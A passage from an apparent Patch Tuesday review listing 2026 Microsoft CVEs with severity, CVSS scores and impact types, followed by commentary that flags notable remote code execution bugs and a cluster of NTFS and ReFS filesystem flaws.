EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up 